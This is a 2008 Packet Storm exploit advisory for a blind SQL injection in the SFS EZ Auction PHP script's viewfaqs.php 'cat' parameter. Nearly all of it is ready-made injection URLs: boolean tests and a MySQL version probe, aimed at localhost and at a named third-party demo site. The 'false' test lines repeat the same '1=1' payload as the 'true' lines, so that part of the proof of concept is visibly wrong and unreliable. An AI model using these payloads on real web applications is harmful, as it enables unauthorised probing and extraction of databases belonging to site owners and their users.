sfsezauction-sql.txt

2008-11-01T00:00:00
ID PACKETSTORM:71447
Type packetstorm
Reporter Stack
Modified 2008-11-01T00:00:00

Description

                                        
                                            `###########################################################################  
# Kira has decide be back after halloween  
###########################################################################  
# Discovered by : Mountassif Moad  
# Type Gap : Blind Sql Injection  
# Script : SFS EZ Auction Remote Blind sql injection  
# Home Script : http://www.scripts-for-sites.info/item.php?item=97  
# Greetz : Allah , All my freind  
##########################################################################  
  
  
P0c :  
  
http://localhost/viewfaqs.php?cat=1+and+1=1 true  
  
http://localhost/viewfaqs.php?cat=1+and+1=1 false  
  
http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1 true  
  
http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1 false  
  
Exploit :  
  
http://localhost/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=5  
  
http://localhost/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=4  
  
Demo :  
  
http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=5  
  
http://phpauctions.info/demo/viewfaqs.php?cat=1+and+1=1+and+substring(@@version,1,1)=4  
  
  
`